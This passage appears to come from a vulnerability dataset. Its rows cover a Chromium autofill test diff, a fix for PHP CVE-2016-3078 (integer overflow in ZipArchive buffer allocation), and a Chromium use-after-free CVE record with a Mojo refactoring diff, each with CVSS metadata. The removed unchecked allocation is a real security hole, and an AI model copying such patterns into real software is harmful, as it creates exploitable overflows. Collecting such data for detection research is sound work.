signature=\\\"412125936\\\"/>\"\n+ \"<field signature=\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/>\"\n+ \"<field signature=\\\"747221617\\\"/><field signature=\\\"4108155786\\\"/></form>\"\n \"</autofillquery>\";\n ASSERT_TRUE(FormStructure::EncodeQueryRequest(forms, &encoded_signatures,\n &encoded_xml));\n- ASSERT_EQ(encoded_signatures.size(), 1U);\n- EXPECT_EQ(encoded_signatures[0], kSignature1);\n- EXPECT_EQ(encoded_xml, kResponse1);\n+ ASSERT_EQ(1U, encoded_signatures.size());\n+ EXPECT_EQ(kSignature1, encoded_signatures[0]);\n+ EXPECT_EQ(kResponse1, encoded_xml);\n \n // Add the same form, only one will be encoded, so EncodeQueryRequest() should\n // return the same data.\n forms.push_back(new FormStructure(form));\n ASSERT_TRUE(FormStructure::EncodeQueryRequest(forms, &encoded_signatures,\n &encoded_xml));\n- ASSERT_EQ(encoded_signatures.size(), 1U);\n- EXPECT_EQ(encoded_signatures[0], kSignature1);\n- EXPECT_EQ(encoded_xml, kResponse1);\n+ ASSERT_EQ(1U, encoded_signatures.size());\n+ EXPECT_EQ(kSignature1, encoded_signatures[0]);\n+ EXPECT_EQ(kResponse1, encoded_xml);\n // Add 5 address fields - this should be still a valid form.\n for (size_t i = 0; i < 5; ++i) {\n form.fields.push_back(\n@@ -1564,23 +1564,23 @@ TEST(FormStructureTest, EncodeQueryRequest) {\n forms.push_back(new FormStructure(form));\n ASSERT_TRUE(FormStructure::EncodeQueryRequest(forms, &encoded_signatures,\n &encoded_xml));\n- ASSERT_EQ(encoded_signatures.size(), 2U);\n- EXPECT_EQ(encoded_signatures[0], kSignature1);\n+ ASSERT_EQ(2U, encoded_signatures.size());\n+ EXPECT_EQ(kSignature1, encoded_signatures[0]);\n const char * const kSignature2 = \"8308881815906226214\";\n- EXPECT_EQ(encoded_signatures[1], kSignature2);\n+ EXPECT_EQ(kSignature2, encoded_signatures[1]);\n const char * const kResponse2 =\n \"<\\?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"\\?><autofillquery \"\n- \"clientversion=\\\"6.1.1715.1442/en (GGLL)\\\"><form signature=\\\"\"\n- \"11337937696949187602\\\"><field signature=\\\"412125936\\\"/><field signature=\"\n- \"\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/><field signature=\\\"\"\n- \"747221617\\\"/><field signature=\\\"4108155786\\\"/></form><form signature=\\\"\"\n- \"8308881815906226214\\\"><field signature=\\\"412125936\\\"/><field signature=\"\n- \"\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/><field signature=\\\"\"\n- \"747221617\\\"/><field signature=\\\"4108155786\\\"/><field signature=\\\"\"\n- \"509334676\\\"/><field signature=\\\"509334676\\\"/><field signature=\\\"\"\n- \"509334676\\\"/><field signature=\\\"509334676\\\"/><field signature=\\\"\"\n- \"509334676\\\"/></form></autofillquery>\";\n- EXPECT_EQ(encoded_xml, kResponse2);\n+ \"clientversion=\\\"6.1.1715.1442/en (GGLL)\\\" accepts=\\\"e\\\"><form \"\n+ \"signature=\\\"11337937696949187602\\\"><field signature=\\\"412125936\\\"/>\"\n+ \"<field signature=\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/>\"\n+ \"<field signature=\\\"747221617\\\"/><field signature=\\\"4108155786\\\"/></form>\"\n+ \"<form signature=\\\"8308881815906226214\\\"><field signature=\\\"412125936\\\"/>\"\n+ \"<field signature=\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/>\"\n+ \"<field signature=\\\"747221617\\\"/><field signature=\\\"4108155786\\\"/><field \"\n+ \"signature=\\\"509334676\\\"/><field signature=\\\"509334676\\\"/><field \"\n+ \"signature=\\\"509334676\\\"/><field signature=\\\"509334676\\\"/><field \"\n+ \"signature=\\\"509334676\\\"/></form></autofillquery>\";\n+ EXPECT_EQ(kResponse2, encoded_xml);\n \n // Add 50 address fields - the form is not valid anymore, but previous ones\n // are. The result should be the same as in previous test.\n@@ -1597,18 +1597,18 @@ TEST(FormStructureTest, EncodeQueryRequest) {\n forms.push_back(new FormStructure(form));\n ASSERT_TRUE(FormStructure::EncodeQueryRequest(forms, &encoded_signatures,\n &encoded_xml));\n- ASSERT_EQ(encoded_signatures.size(), 2U);\n- EXPECT_EQ(encoded_signatures[0], kSignature1);\n- EXPECT_EQ(encoded_signatures[1], kSignature2);\n- EXPECT_EQ(encoded_xml, kResponse2);\n+ ASSERT_EQ(2U, encoded_signatures.size());\n+ EXPECT_EQ(kSignature1, encoded_signatures[0]);\n+ EXPECT_EQ(kSignature2, encoded_signatures[1]);\n+ EXPECT_EQ(kResponse2, encoded_xml);\n \n // Check that we fail if there are only bad form(s).\n ScopedVector<FormStructure> bad_forms;\n bad_forms.push_back(new FormStructure(form));\n EXPECT_FALSE(FormStructure::EncodeQueryRequest(bad_forms, &encoded_signatures,\n &encoded_xml));\n- EXPECT_EQ(encoded_signatures.size(), 0U);\n- EXPECT_EQ(encoded_xml, \"\");\n+ EXPECT_EQ(0U, encoded_signatures.size());\n+ EXPECT_EQ(\"\", encoded_xml);\n }\n \n TEST(FormStructureTest, EncodeUploadRequest) {"}
|
void AutoFillManager::OnInfoBarClosed(bool should_save) {
if (should_save)
personal_data_->SaveImportedCreditCard();
}
|
void AutoFillManager::OnInfoBarClosed(bool should_save) {
if (should_save)
personal_data_->SaveImportedCreditCard();
}
|
C
| null | null | null |
@@ -512,6 +512,7 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(
cached_fields[field->FieldSignature()] = field;
}
+ std::string experiment_id = cached_submitted_form->server_experiment_id();
for (size_t i = 0; i < submitted_form->field_count(); ++i) {
const AutoFillField* field = submitted_form->field(i);
FieldTypeSet field_types;
@@ -526,13 +527,14 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(
}
// Log various quality metrics.
- metric_logger_->Log(AutoFillMetrics::FIELD_SUBMITTED);
+ metric_logger_->Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id);
if (field_types.find(EMPTY_TYPE) == field_types.end() &&
field_types.find(UNKNOWN_TYPE) == field_types.end()) {
if (field->is_autofilled()) {
- metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILLED);
+ metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILLED, experiment_id);
} else {
- metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED);
+ metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED,
+ experiment_id);
AutoFillFieldType heuristic_type = UNKNOWN_TYPE;
AutoFillFieldType server_type = NO_SERVER_DATA;
@@ -543,19 +545,27 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(
server_type = cached_field->second->server_type();
}
- if (heuristic_type == UNKNOWN_TYPE)
- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN);
- else if (field_types.count(heuristic_type))
- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH);
- else
- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH);
-
- if (server_type == NO_SERVER_DATA)
- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN);
- else if (field_types.count(server_type))
- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MATCH);
- else
- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH);
+ if (heuristic_type == UNKNOWN_TYPE) {
+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN,
+ experiment_id);
+ } else if (field_types.count(heuristic_type)) {
+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH,
+ experiment_id);
+ } else {
+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH,
+ experiment_id);
+ }
+
+ if (server_type == NO_SERVER_DATA) {
+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN,
+ experiment_id);
+ } else if (field_types.count(server_type)) {
+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MATCH,
+ experiment_id);
+ } else {
+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH,
+ experiment_id);
+ }
}
// TODO(isherman): Other things we might want to log here:
|
Chrome
|
5f372f899b8709dac700710b5f0f90959dcf9ecb
|
e82abf3ca2ded96bc353e4df47d20380f9d89a78
| 0
|
void AutoFillManager::OnInfoBarClosed(bool should_save) {
if (should_save)
personal_data_->SaveImportedCreditCard();
}
|
54,432
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-3078
|
https://www.cvedetails.com/cve/CVE-2016-3078/
|
CWE-190
|
Low
|
Partial
|
Partial
| null |
2016-08-07
| 7.5
|
Multiple integer overflows in php_zip.c in the zip extension in PHP before 7.0.6 allow remote attackers to cause a denial of service (heap-based buffer overflow and application crash) or possibly have unspecified other impact via a crafted call to (1) getFromIndex or (2) getFromName in the ZipArchive class.
|
2017-09-06
|
DoS Overflow
| 0
|
https://github.com/php/php-src/commit/3b8d4de300854b3517c7acb239b84f7726c1353c?w=1
|
3b8d4de300854b3517c7acb239b84f7726c1353c?w=1
|
Fix bug #71923 - integer overflow in ZipArchive::getFrom*
| 0
|
ext/zip/php_zip.c
|
{"sha": "7c9adf4af780a04b82bdb1facf849d07a60b8576", "filename": "ext/zip/php_zip.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/php/php-src/blob/3b8d4de300854b3517c7acb239b84f7726c1353c/ext/zip/php_zip.c", "raw_url": "https://github.com/php/php-src/raw/3b8d4de300854b3517c7acb239b84f7726c1353c/ext/zip/php_zip.c", "contents_url": "https://api.github.com/repos/php/php-src/contents/ext/zip/php_zip.c?ref=3b8d4de300854b3517c7acb239b84f7726c1353c", "patch": "@@ -1281,7 +1281,7 @@ static PHP_NAMED_FUNCTION(zif_zip_entry_read)\n \t}\n \n \tif (zr_rsrc->zf) {\n-\t\tbuffer = zend_string_alloc(len, 0);\n+\t\tbuffer = zend_string_safe_alloc(1, len, 0, 0);\n \t\tn = zip_fread(zr_rsrc->zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));\n \t\tif (n > 0) {\n \t\t\tZSTR_VAL(buffer)[n] = '\\0';\n@@ -2728,7 +2728,7 @@ static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */\n \t\tRETURN_FALSE;\n \t}\n \n-\tbuffer = zend_string_alloc(len, 0);\n+\tbuffer = zend_string_safe_alloc(1, len, 0, 0);\n \tn = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));\n \tif (n < 1) {\n \t\tzend_string_free(buffer);"}
|
static zend_object *php_zip_object_new(zend_class_entry *class_type) /* {{{ */
{
ze_zip_object *intern;
intern = ecalloc(1, sizeof(ze_zip_object) + zend_object_properties_size(class_type));
intern->prop_handler = &zip_prop_handlers;
zend_object_std_init(&intern->zo, class_type);
object_properties_init(&intern->zo, class_type);
intern->zo.handlers = &zip_object_handlers;
return &intern->zo;
}
/* }}} */
|
static zend_object *php_zip_object_new(zend_class_entry *class_type) /* {{{ */
{
ze_zip_object *intern;
intern = ecalloc(1, sizeof(ze_zip_object) + zend_object_properties_size(class_type));
intern->prop_handler = &zip_prop_handlers;
zend_object_std_init(&intern->zo, class_type);
object_properties_init(&intern->zo, class_type);
intern->zo.handlers = &zip_object_handlers;
return &intern->zo;
}
/* }}} */
|
C
| null | null | null |
@@ -1281,7 +1281,7 @@ static PHP_NAMED_FUNCTION(zif_zip_entry_read)
}
if (zr_rsrc->zf) {
- buffer = zend_string_alloc(len, 0);
+ buffer = zend_string_safe_alloc(1, len, 0, 0);
n = zip_fread(zr_rsrc->zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));
if (n > 0) {
ZSTR_VAL(buffer)[n] = '\0';
@@ -2728,7 +2728,7 @@ static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
RETURN_FALSE;
}
- buffer = zend_string_alloc(len, 0);
+ buffer = zend_string_safe_alloc(1, len, 0, 0);
n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));
if (n < 1) {
zend_string_free(buffer);
|
php-src
|
3b8d4de300854b3517c7acb239b84f7726c1353c?w=1
|
7133f28df57cef51076d5045b006c5c75c664728
| 0
|
static zend_object *php_zip_object_new(zend_class_entry *class_type) /* {{{ */
{
ze_zip_object *intern;
intern = ecalloc(1, sizeof(ze_zip_object) + zend_object_properties_size(class_type));
intern->prop_handler = &zip_prop_handlers;
zend_object_std_init(&intern->zo, class_type);
object_properties_init(&intern->zo, class_type);
intern->zo.handlers = &zip_object_handlers;
return &intern->zo;
}
/* }}} */
|
151,915
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-5019
|
https://www.cvedetails.com/cve/CVE-2017-5019/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-02-17
| 6.8
|
A use after free in Google Chrome prior to 56.0.2924.76 for Linux, Windows and Mac, and 56.0.2924.87 for Android, allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
| 0
|
content/browser/frame_host/render_frame_host_impl.cc
|
{"sha": "f2bd60be6f35037de28774456df91833dd753f20", "filename": "content/browser/frame_host/render_frame_host_impl.cc", "status": "modified", "additions": 23, "deletions": 11, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1375,8 +1375,6 @@ bool RenderFrameHostImpl::OnMessageReceived(const IPC::Message &msg) {\n \n handled = true;\n IPC_BEGIN_MESSAGE_MAP(RenderFrameHostImpl, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n IPC_MESSAGE_HANDLER(FrameHostMsg_Detach, OnDetach)\n IPC_MESSAGE_HANDLER(FrameHostMsg_FrameFocused, OnFrameFocused)\n IPC_MESSAGE_HANDLER(FrameHostMsg_DidFailProvisionalLoadWithError,\n@@ -1833,21 +1831,35 @@ void RenderFrameHostImpl::OnAudibleStateChanged(bool is_audible) {\n is_audible_ = is_audible;\n }\n \n-void RenderFrameHostImpl::OnDidAddMessageToConsole(\n- int32_t level,\n+void RenderFrameHostImpl::DidAddMessageToConsole(\n+ blink::mojom::ConsoleMessageLevel log_level,\n const base::string16& message,\n int32_t line_no,\n const base::string16& source_id) {\n- if (level < logging::LOG_VERBOSE || level > logging::LOG_FATAL) {\n- bad_message::ReceivedBadMessage(\n- GetProcess(), bad_message::RFH_DID_ADD_CONSOLE_MESSAGE_BAD_SEVERITY);\n- return;\n+ // TODO(https://crbug.com/786836): Update downstream code to use\n+ // ConsoleMessageLevel everywhere to avoid this conversion.\n+ logging::LogSeverity log_severity = logging::LOG_VERBOSE;\n+ switch (log_level) {\n+ case blink::mojom::ConsoleMessageLevel::kVerbose:\n+ log_severity = logging::LOG_VERBOSE;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kInfo:\n+ log_severity = logging::LOG_INFO;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kWarning:\n+ log_severity = logging::LOG_WARNING;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kError:\n+ log_severity = logging::LOG_ERROR;\n+ break;\n }\n \n- if (delegate_->DidAddMessageToConsole(level, message, line_no, source_id))\n+ if (delegate_->DidAddMessageToConsole(log_severity, message, line_no,\n+ source_id)) {\n return;\n+ }\n \n- // Pass through log level only on builtin components pages to limit console\n+ // Pass through log severity only on builtin components pages to limit console\n // spew.\n const bool is_builtin_component =\n HasWebUIScheme(delegate_->GetMainFrameLastCommittedURL()) ||\n@@ -1856,7 +1868,7 @@ void RenderFrameHostImpl::OnDidAddMessageToConsole(\n const bool is_off_the_record =\n GetSiteInstance()->GetBrowserContext()->IsOffTheRecord();\n \n- LogConsoleMessage(level, message, line_no, is_builtin_component,\n+ LogConsoleMessage(log_severity, message, line_no, is_builtin_component,\n is_off_the_record, source_id);\n }\n "}<_**next**_>{"sha": "bee010704ea0be084eb5752717d8dcaeb46c04c0", "filename": "content/browser/frame_host/render_frame_host_impl.h", "status": "modified", "additions": 5, "deletions": 4, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1049,10 +1049,6 @@ class CONTENT_EXPORT RenderFrameHostImpl\n class DroppedInterfaceRequestLogger;\n \n // IPC Message handlers.\n- void OnDidAddMessageToConsole(int32_t level,\n- const base::string16& message,\n- int32_t line_no,\n- const base::string16& source_id);\n void OnDetach();\n void OnFrameFocused();\n void OnOpenURL(const FrameHostMsg_OpenURL_Params& params);\n@@ -1206,6 +1202,11 @@ class CONTENT_EXPORT RenderFrameHostImpl\n void FullscreenStateChanged(bool is_fullscreen) override;\n void DocumentOnLoadCompleted() override;\n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override;\n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& message,\n+ int32_t line_no,\n+ const base::string16& source_id) override;\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override;\n #endif"}<_**next**_>{"sha": "35ad6ce3ce3aca5a9e47d54a8bcf1b3f381a00b5", "filename": "content/browser/service_worker/service_worker_context_core.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/service_worker/service_worker_context_core.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -786,7 +786,7 @@ void ServiceWorkerContextCore::OnReportConsoleMessage(\n const GURL& source_url) {\n DCHECK_CURRENTLY_ON(BrowserThread::IO);\n // NOTE: This differs slightly from\n- // RenderFrameHostImpl::OnDidAddMessageToConsole, which also asks the\n+ // RenderFrameHostImpl::DidAddMessageToConsole, which also asks the\n // content embedder whether to classify the message as a builtin component.\n // This is called on the IO thread, though, so we can't easily get a\n // BrowserContext and call ContentBrowserClient::IsBuiltinComponent()."}<_**next**_>{"sha": "88471bc49cd5b00a9494cc3998ba9c44c2c87088", "filename": "content/common/frame.mojom", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame.mojom?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -21,6 +21,7 @@ import \"services/service_manager/public/mojom/interface_provider.mojom\";\n import \"services/viz/public/interfaces/compositing/surface_id.mojom\";\n import \"third_party/blink/public/mojom/blob/blob_url_store.mojom\";\n import \"third_party/blink/public/mojom/commit_result/commit_result.mojom\";\n+import \"third_party/blink/public/mojom/devtools/console_message.mojom\";\n import \"third_party/blink/public/mojom/feature_policy/feature_policy.mojom\";\n import \"third_party/blink/public/mojom/frame/lifecycle.mojom\";\n import \"third_party/blink/public/mojom/frame/navigation_initiator.mojom\";\n@@ -473,4 +474,12 @@ interface FrameHost {\n // of the individual bits.\n // TODO(altimin): Move into a separate scheduling interface.\n UpdateActiveSchedulerTrackedFeatures(uint64 features_mask);\n+\n+ // Blink and JavaScript error messages to log to the console or debugger UI.\n+ DidAddMessageToConsole(\n+ blink.mojom.ConsoleMessageLevel log_level,\n+ mojo_base.mojom.BigString16 msg,\n+ int32 line_number,\n+ mojo_base.mojom.String16 source_id);\n+\n };"}<_**next**_>{"sha": "aa3530d1912f804ba01a29be9b4b2178ce996e86", "filename": "content/common/frame_messages.h", "status": "modified", "additions": 0, "deletions": 8, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame_messages.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1098,14 +1098,6 @@ IPC_MESSAGE_ROUTED0(FrameMsg_RenderFallbackContent)\n // -----------------------------------------------------------------------------\n // Messages sent from the renderer to the browser.\n \n-// Blink and JavaScript error messages to log to the console\n-// or debugger UI.\n-IPC_MESSAGE_ROUTED4(FrameHostMsg_DidAddMessageToConsole,\n- int32_t, /* log level */\n- base::string16, /* msg */\n- int32_t, /* line number */\n- base::string16 /* source id */)\n-\n // Sent by the renderer when a child frame is created in the renderer.\n //\n // Each of these messages will have a corresponding FrameHostMsg_Detach message"}<_**next**_>{"sha": "d103dd35fa8ce0773f0c3586d17beb2eaeaf8479", "filename": "content/renderer/render_frame_impl.cc", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_frame_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4545,9 +4545,9 @@ void RenderFrameImpl::DidAddMessageToConsole(\n }\n }\n \n- Send(new FrameHostMsg_DidAddMessageToConsole(\n- routing_id_, static_cast<int32_t>(log_severity), message.text.Utf16(),\n- static_cast<int32_t>(source_line), source_name.Utf16()));\n+ GetFrameHost()->DidAddMessageToConsole(message.level, message.text.Utf16(),\n+ static_cast<int32_t>(source_line),\n+ source_name.Utf16());\n }\n \n void RenderFrameImpl::DownloadURL("}<_**next**_>{"sha": "2c754dc7c905037b40d841c22103659b8a9cba35", "filename": "content/renderer/render_view_browsertest.cc", "status": "modified", "additions": 20, "deletions": 44, "changes": 64, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view_browsertest.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4,6 +4,7 @@\n \n #include <stddef.h>\n #include <stdint.h>\n+\n #include <tuple>\n \n #include \"base/bind.h\"\n@@ -17,6 +18,7 @@\n #include \"base/stl_util.h\"\n #include \"base/strings/string_util.h\"\n #include \"base/strings/utf_string_conversions.h\"\n+#include \"base/test/bind_test_util.h\"\n #include \"base/threading/thread_task_runner_handle.h\"\n #include \"base/time/time.h\"\n #include \"base/values.h\"\n@@ -2486,62 +2488,36 @@ TEST_F(RenderViewImplTest, HistoryIsProperlyUpdatedOnShouldClearHistoryList) {\n view()->HistoryForwardListCount() + 1);\n }\n \n-// IPC Listener that runs a callback when a console.log() is executed from\n-// javascript.\n-class ConsoleCallbackFilter : public IPC::Listener {\n- public:\n- explicit ConsoleCallbackFilter(\n- base::Callback<void(const base::string16&)> callback)\n- : callback_(callback) {}\n-\n- bool OnMessageReceived(const IPC::Message& msg) override {\n- bool handled = true;\n- IPC_BEGIN_MESSAGE_MAP(ConsoleCallbackFilter, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n- IPC_MESSAGE_UNHANDLED(handled = false)\n- IPC_END_MESSAGE_MAP()\n- return handled;\n- }\n-\n- void OnDidAddMessageToConsole(int32_t,\n- const base::string16& message,\n- int32_t,\n- const base::string16&) {\n- callback_.Run(message);\n- }\n-\n- private:\n- base::Callback<void(const base::string16&)> callback_;\n-};\n-\n // Tests that there's no UaF after dispatchBeforeUnloadEvent.\n // See https://crbug.com/666714.\n TEST_F(RenderViewImplTest, DispatchBeforeUnloadCanDetachFrame) {\n LoadHTML(\n \"<script>window.onbeforeunload = function() { \"\n \"window.console.log('OnBeforeUnload called'); }</script>\");\n \n- // Creates a callback that swaps the frame when the 'OnBeforeUnload called'\n+ // Create a callback that swaps the frame when the 'OnBeforeUnload called'\n // log is printed from the beforeunload handler.\n- std::unique_ptr<ConsoleCallbackFilter> callback_filter(\n- new ConsoleCallbackFilter(base::Bind(\n- [](RenderFrameImpl* frame, const base::string16& msg) {\n- // Makes sure this happens during the beforeunload handler.\n- EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n-\n- // Swaps the main frame.\n- frame->OnMessageReceived(FrameMsg_SwapOut(\n- frame->GetRoutingID(), 1, false, FrameReplicationState()));\n- },\n- base::Unretained(frame()))));\n- render_thread_->sink().AddFilter(callback_filter.get());\n+ base::RunLoop run_loop;\n+ bool was_callback_run = false;\n+ frame()->SetDidAddMessageToConsoleCallback(\n+ base::BindOnce(base::BindLambdaForTesting([&](const base::string16& msg) {\n+ // Makes sure this happens during the beforeunload handler.\n+ EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n+\n+ // Swaps the main frame.\n+ frame()->OnMessageReceived(FrameMsg_SwapOut(\n+ frame()->GetRoutingID(), 1, false, FrameReplicationState()));\n+\n+ was_callback_run = true;\n+ run_loop.Quit();\n+ })));\n \n- // Simulates a BeforeUnload IPC received from the browser.\n+ // Simulate a BeforeUnload IPC received from the browser.\n frame()->OnMessageReceived(\n FrameMsg_BeforeUnload(frame()->GetRoutingID(), false));\n \n- render_thread_->sink().RemoveFilter(callback_filter.get());\n+ run_loop.Run();\n+ ASSERT_TRUE(was_callback_run);\n }\n \n // IPC Listener that runs a callback when a javascript modal dialog is"}<_**next**_>{"sha": "bdedd20f84277cc35ae59aec5e3cc2b62b75dc33", "filename": "content/test/test_render_frame.cc", "status": "modified", "additions": 22, "deletions": 0, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -47,6 +47,11 @@ class MockFrameHost : public mojom::FrameHost {\n return std::move(last_document_interface_broker_request_);\n }\n \n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ did_add_message_to_console_callback_ = std::move(callback);\n+ }\n+\n // Holds on to the request end of the InterfaceProvider interface whose client\n // end is bound to the corresponding RenderFrame's |remote_interfaces_| to\n // facilitate retrieving the most recent |interface_provider_request| in\n@@ -156,6 +161,15 @@ class MockFrameHost : public mojom::FrameHost {\n \n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override {}\n \n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& msg,\n+ int32_t line_number,\n+ const base::string16& source_id) override {\n+ if (did_add_message_to_console_callback_) {\n+ std::move(did_add_message_to_console_callback_).Run(msg);\n+ }\n+ }\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override {}\n #endif\n@@ -168,6 +182,9 @@ class MockFrameHost : public mojom::FrameHost {\n blink::mojom::DocumentInterfaceBrokerRequest\n last_document_interface_broker_request_;\n \n+ base::OnceCallback<void(const base::string16& msg)>\n+ did_add_message_to_console_callback_;\n+\n DISALLOW_COPY_AND_ASSIGN(MockFrameHost);\n };\n \n@@ -331,6 